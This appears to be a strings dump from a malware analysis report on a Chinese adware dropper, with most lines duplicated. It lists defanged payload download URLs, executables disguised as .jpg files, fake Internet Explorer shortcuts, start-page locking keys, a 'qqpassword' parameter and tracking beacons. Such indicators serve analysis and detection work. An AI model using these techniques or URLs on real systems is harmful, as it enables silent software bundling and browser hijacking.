HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN
HKEY_LOCAL_MACHINE\SOFTWARE\Baidu\BaiduProtect\LockIEStartPage
HKEY_LOCAL_MACHINE\SOFTWARE\Baidu\BaiduProtect\LockIEStartPage
%Program Files%\Common Files\Baidu\BaiduProtect\1.2.16.49\BDSGBugRpt.exe
%Program Files%\Common Files\Baidu\BaiduProtect\1.2.16.49\BDSGBugRpt.exe
%Program Files%\Common Files\Baidu\BaiduProtect\1.2.16.49\BaiduProtect.exe
%Program Files%\Common Files\Baidu\BaiduProtect\1.2.16.49\BaiduProtect.exe
%Program Files%\Common Files\Baidu\BaiduProtect1.3\1.3.1.567\BDSGBugRpt.exe
%Program Files%\Common Files\Baidu\BaiduProtect1.3\1.3.1.567\BDSGBugRpt.exe
%Program Files%\Common Files\Baidu\BaiduProtect1.3\1.3.1.567\BaiduProtect.exe
%Program Files%\Common Files\Baidu\BaiduProtect1.3\1.3.1.567\BaiduProtect.exe
%Program Files%\SogouExplorer\SogouExplorer.exe
%Program Files%\SogouExplorer\SogouExplorer.exe
%Documents and Settings%\All Users\
%Documents and Settings%\All Users\
C:\user\All Users\
C:\user\All Users\
Google Chrome.lnk
Google Chrome.lnk
Google Chrome
Google Chrome
6.lnk
6.lnk
kernel32.dll
kernel32.dll
advapi32.dll
advapi32.dll
RegDisableReflectionKey
RegDisableReflectionKey
RegEnableReflectionKey
RegEnableReflectionKey
wshom.ocx
wshom.ocx
taskmgr.exe
taskmgr.exe
BarsPlayer.exe
BarsPlayer.exe
SMeans.exe
SMeans.exe
TMeans.exe
TMeans.exe
%WinDir%\system\shanhu.txt
%WinDir%\system\shanhu.txt
%Program Files%\Common Files\shanhu_7654_29738.exe
%Program Files%\Common Files\shanhu_7654_29738.exe
hXXp://yunpan.cn/csX5gsznjRB7f
hXXp://yunpan.cn/csX5gsznjRB7f
%Program Files%\Common Files\shanhu_7654_29738.jpg
%Program Files%\Common Files\shanhu_7654_29738.jpg
hXXp://d3.freep.cn/3tb_141207133829733i542852.jpg
hXXp://d3.freep.cn/3tb_141207133829733i542852.jpg
%Program Files%\Common Files\gswb_1454_7654_356.exe
%Program Files%\Common Files\gswb_1454_7654_356.exe
%Program Files%\Common Files\gswb_1454_7654_356.jpg
%Program Files%\Common Files\gswb_1454_7654_356.jpg
_7654_356.exe
_7654_356.exe
%Program Files%\Common Files\
%Program Files%\Common Files\
_7654_5943.exe
_7654_5943.exe
%Program Files%\Common Files\shanhu_7654_356.exe
%Program Files%\Common Files\shanhu_7654_356.exe
%WinDir%\system\UC.txt
%WinDir%\system\UC.txt
%Program Files%\Common Files\uc.exe
%Program Files%\Common Files\uc.exe
hXXp://yunpan.cn/csrCIshBv8IrN
hXXp://yunpan.cn/csrCIshBv8IrN
hXXp://pan.baidu.com/s/1eQ4CzEq
hXXp://pan.baidu.com/s/1eQ4CzEq
%Program Files%\Common Files\ucbrowser_7654_31551.exe
%Program Files%\Common Files\ucbrowser_7654_31551.exe
%Program Files%\Common Files\BlueInstaller_bsljpc_55849_.exe
%Program Files%\Common Files\BlueInstaller_bsljpc_55849_.exe
%Program Files%\Common Files\BlueResource.bpk
%Program Files%\Common Files\BlueResource.bpk
%WinDir%\system\baishu.txt
%WinDir%\system\baishu.txt
%Program Files%\Common Files\BaiduPinyinSetup_sw-0000025962.exe
%Program Files%\Common Files\BaiduPinyinSetup_sw-0000025962.exe
hXXp://dlsw.br.baidu.com/ditui/zujian/BaiduPinyinSetup_sw-0000025962.exe
hXXp://dlsw.br.baidu.com/ditui/zujian/BaiduPinyinSetup_sw-0000025962.exe
hXXp://yunpan.cn/cAwI52HEWZvJu
hXXp://yunpan.cn/cAwI52HEWZvJu
%Program Files%\Common Files\Microsoft Shared\2345.txt
%Program Files%\Common Files\Microsoft Shared\2345.txt
%Program Files%\2345Pic
%Program Files%\2345Pic
%Program Files%\2345Explorer
%Program Files%\2345Explorer
%Program Files%\HaoZip
%Program Files%\HaoZip
hXXp://jifendownload.2345.cn/jifen_2345/p3_kbaidu888888_jg04Ow1mITKSiasIh2vPk_v14.11.1.exe
hXXp://jifendownload.2345.cn/jifen_2345/p3_kbaidu888888_jg04Ow1mITKSiasIh2vPk_v14.11.1.exe
%Program Files%\Common Files\Microsoft Shared\p3_kbaidu888888_jg04Ow1mITKSiasIh2vPk_v14.11.1.exe
%Program Files%\Common Files\Microsoft Shared\p3_kbaidu888888_jg04Ow1mITKSiasIh2vPk_v14.11.1.exe
%Program Files%\p3_kbaidu888888_jg04Ow1mITKSiasIh2vPk_v14.11.1.exe
%Program Files%\p3_kbaidu888888_jg04Ow1mITKSiasIh2vPk_v14.11.1.exe
Chrome=0
Chrome=0
%Program Files%\Common Files\Microsoft Shared\2345pack.ini
%Program Files%\Common Files\Microsoft Shared\2345pack.ini
p3_kbaidu888888_jg04Ow1mITKSiasIh2vPk_v14.11.1.exe
p3_kbaidu888888_jg04Ow1mITKSiasIh2vPk_v14.11.1.exe
%Program Files%\p3_kbaidu888888_jg04OunlF483lZatm6Ir5_v14.7.1.exe
%Program Files%\p3_kbaidu888888_jg04OunlF483lZatm6Ir5_v14.7.1.exe
%WinDir%\system\QQKG.txt
%WinDir%\system\QQKG.txt
%Program Files%\Common Files\QQkg.exe
%Program Files%\Common Files\QQkg.exe
hXXp://yunpan.cn/csqqAnAunxwCu
hXXp://yunpan.cn/csqqAnAunxwCu
hXXp://pan.baidu.com/s/1mgzG2Sw
hXXp://pan.baidu.com/s/1mgzG2Sw
%WinDir%\system\baiduse.txt
%WinDir%\system\baiduse.txt
%Program Files%\Common Files\bdBrowserSetup-5953-ftn_1000025962.exe
%Program Files%\Common Files\bdBrowserSetup-5953-ftn_1000025962.exe
hXXp://dlsw.br.baidu.com/ditui/zujian/bdBrowserSetup-5953-ftn_1000025962.exe
hXXp://dlsw.br.baidu.com/ditui/zujian/bdBrowserSetup-5953-ftn_1000025962.exe
hXXp://pan.baidu.com/s/1jGvaRR4
hXXp://pan.baidu.com/s/1jGvaRR4
%Program Files%\Common Files\bdbrowser_7654_31551.exe
%Program Files%\Common Files\bdbrowser_7654_31551.exe
%Program Files%\Common Files\Microsoft Shared\acbbb.txt
%Program Files%\Common Files\Microsoft Shared\acbbb.txt
%Program Files%\Common Files\asdqw_3104-48740.exe
%Program Files%\Common Files\asdqw_3104-48740.exe
hXXp://yunpan.cn/csQ8cCiUdPLcy
hXXp://yunpan.cn/csQ8cCiUdPLcy
%Program Files%\Common Files\jpg
%Program Files%\Common Files\jpg
hXXp://cdn.pcbeta.attachment.inimc.com/data/attachment/forum/201412/07/144230vgqqz6k2xs331mk1.jpg
hXXp://cdn.pcbeta.attachment.inimc.com/data/attachment/forum/201412/07/144230vgqqz6k2xs331mk1.jpg
@svchost.exe
@svchost.exe
&qqpassword=
&qqpassword=
hXXp://
hXXp://
&shorturl=
&shorturl=
/share/verifyPassword?linkpassword=
/share/verifyPassword?linkpassword=
ownloadurl":"
ownloadurl":"
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
http=
http=
https
https
HTTP/1.1
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
hXXps://
hXXps://
%WinDir%\system\baidusd2.txt
%WinDir%\system\baidusd2.txt
%Program Files%\Common Files\bdsd_1454_7654_29738.exe
%Program Files%\Common Files\bdsd_1454_7654_29738.exe
hXXp://yunpan.cn/cskL8I4SnhdTT
hXXp://yunpan.cn/cskL8I4SnhdTT
%Program Files%\Common Files\bdsd_1454_7654_29738.jpg
%Program Files%\Common Files\bdsd_1454_7654_29738.jpg
hXXp://d2.freep.cn/3tb_1412071334014e4j542852.jpg
hXXp://d2.freep.cn/3tb_1412071334014e4j542852.jpg
_Hide.exe
_Hide.exe
BlueSoftSetup_bsugqr.exe
BlueSoftSetup_bsugqr.exe
%Documents and Settings%\Administrator\Local Settings\Temp\bluefiles
%Documents and Settings%\Administrator\Local Settings\Temp\bluefiles
C:\users\Administrator\Local Settings\Temp\bluefiles
C:\users\Administrator\Local Settings\Temp\bluefiles
%Program Files%\Common Files\Tiandi_6733.exe
%Program Files%\Common Files\Tiandi_6733.exe
%Program Files%\Common Files\bdsd_1454_7654_356.exe
%Program Files%\Common Files\bdsd_1454_7654_356.exe
%Program Files%\Common Files\baidu.exe
%Program Files%\Common Files\baidu.exe
%Program Files%\Common Files\td1.exe
%Program Files%\Common Files\td1.exe
%Program Files%\Common Files\bdsd.exe
%Program Files%\Common Files\bdsd.exe
%Program Files%\Common Files\BlueInstaller_bsfjuq_57574_.exe
%Program Files%\Common Files\BlueInstaller_bsfjuq_57574_.exe
%Program Files%\Common Files\BlueResource.bpk.exe
%Program Files%\Common Files\BlueResource.bpk.exe
%Program Files%\Common Files\Baidusd.Setup.2.1.0.3086.youqian_1000025962.exe
%Program Files%\Common Files\Baidusd.Setup.2.1.0.3086.youqian_1000025962.exe
%Program Files%\Common Files\bdsd_1454_7654_31551.exe
%Program Files%\Common Files\bdsd_1454_7654_31551.exe
%Program Files%\Common Files\bdsd_1454_7654_5943.exe
%Program Files%\Common Files\bdsd_1454_7654_5943.exe
%WinDir%\system\baiduws.txt
%WinDir%\system\baiduws.txt
%Program Files%\Common Files\bdws_1454_7654_29738.exe
%Program Files%\Common Files\bdws_1454_7654_29738.exe
hXXp://yunpan.cn/cskLU5n6RLxjX
hXXp://yunpan.cn/cskLU5n6RLxjX
%Program Files%\Common Files\bdws_1454_7654_29738.jpg
%Program Files%\Common Files\bdws_1454_7654_29738.jpg
hXXp://d3.freep.cn/3tb_141207133733cgqn542852.jpg
hXXp://d3.freep.cn/3tb_141207133733cgqn542852.jpg
%Program Files%\Common Files\bdws_1454_7654_31551.exe
%Program Files%\Common Files\bdws_1454_7654_31551.exe
%Program Files%\Common Files\bdsd.jpg
%Program Files%\Common Files\bdsd.jpg
%Program Files%\Common Files\BaiduAn.Setup.youqian.3.0.0.3971_1000025962.exe
%Program Files%\Common Files\BaiduAn.Setup.youqian.3.0.0.3971_1000025962.exe
%Program Files%\Common Files\bdws_1454_7654_5943.exe
%Program Files%\Common Files\bdws_1454_7654_5943.exe
pan.baidu.com
pan.baidu.com
.init("
.init("
&bdstoken=&channel=chunlei&clienttype=0&web=1&app_id=
&bdstoken=&channel=chunlei&clienttype=0&web=1&app_id=
hXXp://pan.baidu.com/api/sharedownload?sign=
hXXp://pan.baidu.com/api/sharedownload?sign=
hXXp://pan.baidu.com/api/getcaptcha?prod=share&bdstoken=&channel=chunlei&clienttype=0&web=1&app_id=
hXXp://pan.baidu.com/api/getcaptcha?prod=share&bdstoken=&channel=chunlei&clienttype=0&web=1&app_id=
hXXp://vcode.baidu.com/genimage?
hXXp://vcode.baidu.com/genimage?
Adodb.Stream
Adodb.Stream
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
%Program Files%\kingsoft\kingsoft antivirus\uni0nst.exe
%Program Files%\kingsoft\kingsoft antivirus\uni0nst.exe
C:\bdkv_install.log
C:\bdkv_install.log
C:\BlueSoftSetup.log
C:\BlueSoftSetup.log
%Program Files%\Common Files
%Program Files%\Common Files
%Program Files%\BLDBaseService
%Program Files%\BLDBaseService
C:\Windows\system\APP
C:\Windows\system\APP
%Program Files%\Baidu\BaiduSd\1.8.0.1196\BaiduSdUpdate.exe
%Program Files%\Baidu\BaiduSd\1.8.0.1196\BaiduSdUpdate.exe
C:\Windows\system\APPP
C:\Windows\system\APPP
%Program Files%\Baidu\BaiduAn\2.1.0.1154\BaiduAnUpdate.exe
%Program Files%\Baidu\BaiduAn\2.1.0.1154\BaiduAnUpdate.exe
QQPCTray.exe
QQPCTray.exe
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UCBrowserSvc
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UCBrowserSvc
%Documents and Settings%\Administrator\
%Documents and Settings%\Administrator\
C:\users\Administrator\
C:\users\Administrator\
%Documents and Settings%\Administrator\Local Settings\Application Data\Kingsoft\WPS Office\9.1.0.4463\utility\uninst.exe
%Documents and Settings%\Administrator\Local Settings\Application Data\Kingsoft\WPS Office\9.1.0.4463\utility\uninst.exe
C:\users\Administrator\Local Settings\Application Data\Kingsoft\WPS Office\9.1.0.4463\utility\uninst.exe
C:\users\Administrator\Local Settings\Application Data\Kingsoft\WPS Office\9.1.0.4463\utility\uninst.exe
%Program Files%\GSInput\3.0.1.0512\uninst.exe
%Program Files%\GSInput\3.0.1.0512\uninst.exe
%Program Files%\BLDBaseService\uninst.exe
%Program Files%\BLDBaseService\uninst.exe
%Documents and Settings%\%current user%inistrator\
%Documents and Settings%\%current user%inistrator\
C:\users\administrator\
C:\users\administrator\
C:\Users\Administrator\Desktop\2345
C:\Users\Administrator\Desktop\2345
C:\Users\All Users\Desktop\
C:\Users\All Users\Desktop\
C:\Users\Administrator\Desktop\7157
C:\Users\Administrator\Desktop\7157
C:\Users\Administrator\Desktop\
C:\Users\Administrator\Desktop\
C:\Users\Administrator\Desktop\Internet ExpIorer.lnk
C:\Users\Administrator\Desktop\Internet ExpIorer.lnk
\Internet ExpIorer.lnk
\Internet ExpIorer.lnk
C:\Users\Administrator\Desktop\QQ
C:\Users\Administrator\Desktop\QQ
%Program Files%\Baofeng\StormPlayer\Uninst.exe
%Program Files%\Baofeng\StormPlayer\Uninst.exe
Daemon.exe
Daemon.exe
C:\users\All Users\Desktop\
C:\users\All Users\Desktop\
5.lnk
5.lnk
C:\users\All Users\Desktop\ Intener Hao123.lnk
C:\users\All Users\Desktop\ Intener Hao123.lnk
C:\users\Administrator\Desktop\
C:\users\Administrator\Desktop\
C:\users\Administrator\Desktop\Internet Explrer.lnk
C:\users\Administrator\Desktop\Internet Explrer.lnk
C:\users\Administrator\Desktop\Internet Explorer.lnk
C:\users\Administrator\Desktop\Internet Explorer.lnk
C:\users\Administrator\Desktop\Internet Explorer.lnk
C:\users\Administrator\Desktop\Internet Explorer.lnk
D:\Program Files\MK20141014\BarsPlayer.exe
D:\Program Files\MK20141014\BarsPlayer.exe
D:\Program Files\MK20141014\SMeans.exe
D:\Program Files\MK20141014\SMeans.exe
D:\Program Files\MK20141014\TMeans.exe
D:\Program Files\MK20141014\TMeans.exe
C:\users\All Users\
C:\users\All Users\
%Program Files%\JSBrowser\JSBrowser.exe
%Program Files%\JSBrowser\JSBrowser.exe
\ Intener Hao123.lnk
\ Intener Hao123.lnk
\MusicFM.lnk
\MusicFM.lnk
C:\Users\Administrator\Desktop\1.76
C:\Users\Administrator\Desktop\1.76
C:\Users\Administrator\Desktop\Internet Exploror.lnk
C:\Users\Administrator\Desktop\Internet Exploror.lnk
\Internet Exploror.lnk
\Internet Exploror.lnk
C:\Users\Administrator\Desktop\Internet Exploror.url
C:\Users\Administrator\Desktop\Internet Exploror.url
\Internet Exploror.url
\Internet Exploror.url
%Program Files%\ainqngz4.7\uninstall.exe
%Program Files%\ainqngz4.7\uninstall.exe
%Program Files%\yyfm0529\201407051412\Unins.exe
%Program Files%\yyfm0529\201407051412\Unins.exe
%Program Files%\ShanHuInput\1.0.1.0930\SHUninst.exe
%Program Files%\ShanHuInput\1.0.1.0930\SHUninst.exe
D:\Program Files\Tencent\QQPCMgr\8.12.11701.227\Uninst.exe
D:\Program Files\Tencent\QQPCMgr\8.12.11701.227\Uninst.exe
ADSafe3.lnk
ADSafe3.lnk
Internet Explorer.lnk
Internet Explorer.lnk
Internet Explorer.lnk
Internet Explorer.lnk
.4.7.lnk
.4.7.lnk
%Program Files%\UCBrowser\Uninstall.exe
%Program Files%\UCBrowser\Uninstall.exe
%Program Files%\JJ
%Program Files%\JJ
%Program Files%\91yGame\unins000.exe
%Program Files%\91yGame\unins000.exe
%Program Files%\ADSafe3\uninst.exe
%Program Files%\ADSafe3\uninst.exe
%Documents and Settings%\Administrator\Application Data\360se6\Application\6.3.1.153\installer\setup.exe
%Documents and Settings%\Administrator\Application Data\360se6\Application\6.3.1.153\installer\setup.exe
C:\users\Administrator\Application Data\360se6\Application\6.3.1.153\installer\setup.exe
C:\users\Administrator\Application Data\360se6\Application\6.3.1.153\installer\setup.exe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
%Program Files%\gssoft\gswb\2.8.1.1120\uninst.exe
%Program Files%\gssoft\gswb\2.8.1.1120\uninst.exe
C:\DuDu\uninstall.exe
C:\DuDu\uninstall.exe
%Program Files%\ainqngz3.9\uninstall.exe
%Program Files%\ainqngz3.9\uninstall.exe
D:\Program Files\Tencent\QQPCMgr\8.8.10756.232\Uninst.exe
D:\Program Files\Tencent\QQPCMgr\8.8.10756.232\Uninst.exe
%Program Files%\Tencent\QQPCMgr\8.8.10756.232\Uninst.exe
%Program Files%\Tencent\QQPCMgr\8.8.10756.232\Uninst.exe
%Program Files%\Doyo\DyUninstall.exe
%Program Files%\Doyo\DyUninstall.exe
%Program Files%\PPStream\unpps.exe
%Program Files%\PPStream\unpps.exe
%Program Files%\iQIYI\QiyiInstaller.exe
%Program Files%\iQIYI\QiyiInstaller.exe
%Program Files%\BlueBox\uninst.exe
%Program Files%\BlueBox\uninst.exe
%Program Files%\2345Pic\Uninstall.exe
%Program Files%\2345Pic\Uninstall.exe
%Program Files%\2345Explorer\Uninstall.exe
%Program Files%\2345Explorer\Uninstall.exe
%Program Files%\HaoZip\Uninstall.exe
%Program Files%\HaoZip\Uninstall.exe
%WinDir%\system\qi
%WinDir%\system\qi
D:\IQIYI Video\LStyle\QyClient.exe
D:\IQIYI Video\LStyle\QyClient.exe
D:\IQIYI Video\LStyle\QyClient.exe desktoprun
D:\IQIYI Video\LStyle\QyClient.exe desktoprun
%WinDir%\system\jizhi
%WinDir%\system\jizhi
C:\Users\Administrator\AppData\Roaming\hao123JuziBrowser\hao123Juzi.exe
C:\Users\Administrator\AppData\Roaming\hao123JuziBrowser\hao123Juzi.exe
%Program Files%\hao123JuziBrowser\hao123Juzi.exe
%Program Files%\hao123JuziBrowser\hao123Juzi.exe
%WinDir%\system\qw
%WinDir%\system\qw
%Program Files%\kuwo\KWMUSIC2013\kuwomusic\KwMusic.exe
%Program Files%\kuwo\KWMUSIC2013\kuwomusic\KwMusic.exe
%WinDir%\system\uc
%WinDir%\system\uc
%Program Files%\UCBrowser\UCBrowser.exe
%Program Files%\UCBrowser\UCBrowser.exe
%Program Files%\UCBrowser\UCBrowser.exe --wow-launch-from=desktop
%Program Files%\UCBrowser\UCBrowser.exe --wow-launch-from=desktop
%Program Files%\UCBrowser\Application\UCBrowser.exe
%Program Files%\UCBrowser\Application\UCBrowser.exe
%WinDir%\system\360se
%WinDir%\system\360se
%Documents and Settings%\Administrator\Application Data\360se6\Application\360se.exe
%Documents and Settings%\Administrator\Application Data\360se6\Application\360se.exe
C:\Users\Administrator\AppData\Roaming\360se6\Application\360se.exe
C:\Users\Administrator\AppData\Roaming\360se6\Application\360se.exe
%WinDir%\system\ADSafe
%WinDir%\system\ADSafe
%Program Files%\ADSafe3\ADSafe.exe
%Program Files%\ADSafe3\ADSafe.exe
%WinDir%\system\leibao
%WinDir%\system\leibao
%Program Files%\liebao\liebao.exe
%Program Files%\liebao\liebao.exe
%WinDir%\system\baiduse
%WinDir%\system\baiduse
%Program Files%\baidu\BaiduBrowser\baidubrowser.exe
%Program Files%\baidu\BaiduBrowser\baidubrowser.exe
%Program Files%\baidu\BaiduBrowser\baidubrowser.exe --bar=1015
%Program Files%\baidu\BaiduBrowser\baidubrowser.exe --bar=1015
%WinDir%\system\uc1
%WinDir%\system\uc1
HKEY_CLASSES_ROOT
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_USERS
atl.dll
atl.dll
NTDLL.DLL
NTDLL.DLL
Advapi32.dll
Advapi32.dll
Kernel32.dll
Kernel32.dll
shell32.dll
shell32.dll
wininet.dll
wininet.dll
ntdll.dll
ntdll.dll
User32.dll
User32.dll
gdi32.dll
gdi32.dll
program internal error number is %d.
program internal error number is %d.
:"%s"
:"%s"
:"%s".
:"%s".
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.PAVCException@@
.PAVCException@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.PAVCObject@@
.PAVCObject@@
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCUserException@@
.PAVCUserException@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
zcÁ
zcÁ
%System%\svchost.exe
%System%\svchost.exe
shanhu_7654_29738.exe_1604:
.text
.text
`.rdata
`.rdata
@.data
@.data
.ndata
.ndata
.rsrc
.rsrc
uDSSh
uDSSh
verifying installer: %d%%
verifying installer: %d%%
... %d%%
... %d%%
hXXp://nsis.sf.net/NSIS_Error
hXXp://nsis.sf.net/NSIS_Error
~nsu.tmp
~nsu.tmp
%u.%u%s%s
%u.%u%s%s
.DEFAULT\Control Panel\International
.DEFAULT\Control Panel\International
RegDeleteKeyExA
RegDeleteKeyExA
Software\Microsoft\Windows\CurrentVersion
Software\Microsoft\Windows\CurrentVersion
*?|/":
*?|/":
%s=%s
%s=%s
GetWindowsDirectoryA
GetWindowsDirectoryA
KERNEL32.dll
KERNEL32.dll
ExitWindowsEx
ExitWindowsEx
USER32.dll
USER32.dll
GDI32.dll
GDI32.dll
SHFileOperationA
SHFileOperationA
ShellExecuteA
ShellExecuteA
SHELL32.dll
SHELL32.dll
RegDeleteKeyA
RegDeleteKeyA
RegCloseKey
RegCloseKey
RegEnumKeyA
RegEnumKeyA
RegOpenKeyExA
RegOpenKeyExA
RegCreateKeyExA
RegCreateKeyExA
ADVAPI32.dll
ADVAPI32.dll
COMCTL32.dll
COMCTL32.dll
ole32.dll
ole32.dll
VERSION.dll
VERSION.dll
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp\setup_7654_29738.exe
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp\setup_7654_29738.exe
vice.exe" InstallService
vice.exe" InstallService
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp\setup_ShanHuSilent.exe->C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp\setup_7654_29738.exe
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp\setup_ShanHuSilent.exe->C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp\setup_7654_29738.exe
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp\setup_ShanHuSilent.exe
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp\setup_ShanHuSilent.exe
k/-q}
k/-q}
#:.zx
#:.zx
%Uz2&
%Uz2&
y.HDy
y.HDy
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp
nsq2.tmp
nsq2.tmp
e->C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp\setup_7654_29738.exe
e->C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp\setup_7654_29738.exe
:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp
:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp
setup_7654_29738.exe
setup_7654_29738.exe
1421401843
1421401843
6610000
6610000
00000000000000000001
00000000000000000001
"%Program Files%\Common Files\shanhu_7654_29738.exe"
"%Program Files%\Common Files\shanhu_7654_29738.exe"
%Documents and Settings%\All Users\Application Data\7654
%Documents and Settings%\All Users\Application Data\7654
%Program Files%\Common Files
%Program Files%\Common Files
shanhu_7654_29738.exe
shanhu_7654_29738.exe
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsb1.tmp
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsb1.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
%Program Files%\Common Files\shanhu_7654_29738.exe
%Program Files%\Common Files\shanhu_7654_29738.exe
1546696
1546696
62474D56-EE98-04CA-7FCD-1C75D00DDD4A
62474D56-EE98-04CA-7FCD-1C75D00DDD4A
20130211141439
20130211141439
76487-341-6719426-22526
76487-341-6719426-22526
Nullsoft Install System v2.46
Nullsoft Install System v2.46
WebGame(&A)...
WebGame(&A)...
All Files (*.*)
All Files (*.*)
No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.
No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.
#Unable to load mail system support.
#Unable to load mail system support.
Access to %1 was denied..An invalid file handle was associated with %1.
Access to %1 was denied..An invalid file handle was associated with %1.
Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.
Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.
Disk full while accessing %1..An attempt was made to access %1 past its end.
Disk full while accessing %1..An attempt was made to access %1 past its end.
No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.
No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.
VVV.shanhusrf.com
VVV.shanhusrf.com
1, 0, 1, 0
1, 0, 1, 0
shsrf.exe
shsrf.exe
1.0.0.0
1.0.0.0
(C) hXXp://VVV.7654.com/
(C) hXXp://VVV.7654.com/
shanhu_7654_29738.exe_1604_rwx_003C4000_00001000:
callback%d
callback%d
service.exe_1184:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
CSSSh
CSSSh
PSShH
PSShH
aSSSh
aSSSh
.VVVVVSRSSj
.VVVVVSRSSj
FTPjK
FTPjK
FtPj;
FtPj;
C.PjRV
C.PjRV
PP P!"PP#$PPPP%&'PPP(P)*P PPP,-.PP/0123PPPPPP4PPPPPPP5PPPPPP6789:;PPPPPPPP?@ABCDPPPPEPPPPFPPPPPPGPPHIPPPPPJKPPPLLPPMPPPPPPPPPNPPOY
PP P!"PP#$PPPP%&'PPP(P)*P PPP,-.PP/0123PPPPPP4PPPPPPP5PPPPPP6789:;PPPPPPPP?@ABCDPPPPEPPPPFPPPPPPGPPHIPPPPPJKPPPLLPPMPPPPPPPPPNPPOY
!"DDD#D$DÝ&D'()DDDDDDDDDDDDD*DDDDDDDDDDDD DD,-DDDDDDDDDDD.D/DDDDDDDDDDDDDD01DD234DD56789DDDDDDDD:;DDDD?DDDDD@ABDDDDDCV
!"DDD#D$DÝ&D'()DDDDDDDDDDDDD*DDDDDDDDDDDD DD,-DDDDDDDDDDD.D/DDDDDDDDDDDDDD01DD234DD56789DDDDDDDD:;DDDD?DDDDD@ABDDDDDCV
>%u Wj%
>%u Wj%
_u.Ph
_u.Ph
tX9.uT
tX9.uT
FLu$
FLu$
%s-%s-%d
%s-%s-%d
%s-%s
%s-%s
hXXp://tj.7654.com/zj7654_active_
hXXp://tj.7654.com/zj7654_active_
QID,%s,SoftID,%s,SoftVer,%s
QID,%s,SoftID,%s,SoftVer,%s
UID,%s|
UID,%s|
hXXp://tj.7654.com/zj7654_online_
hXXp://tj.7654.com/zj7654_online_
%s-%s-%s
%s-%s-%s
%s-%s-%s-%s
%s-%s-%s-%s
?456789:;
?456789:;
!"#$%&'()* ,-./0123
!"#$%&'()* ,-./0123
hhctrl.ocx
hhctrl.ocx
f:\rtm\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
f:\rtm\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
CCmdTarget
CCmdTarget
CNotSupportedException
CNotSupportedException
f:\rtm\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp
f:\rtm\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp
mscoree.dll
mscoree.dll
kernel32.dll
kernel32.dll
Please contact the application's support team for more information.
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
KERNEL32.DLL
KERNEL32.DLL
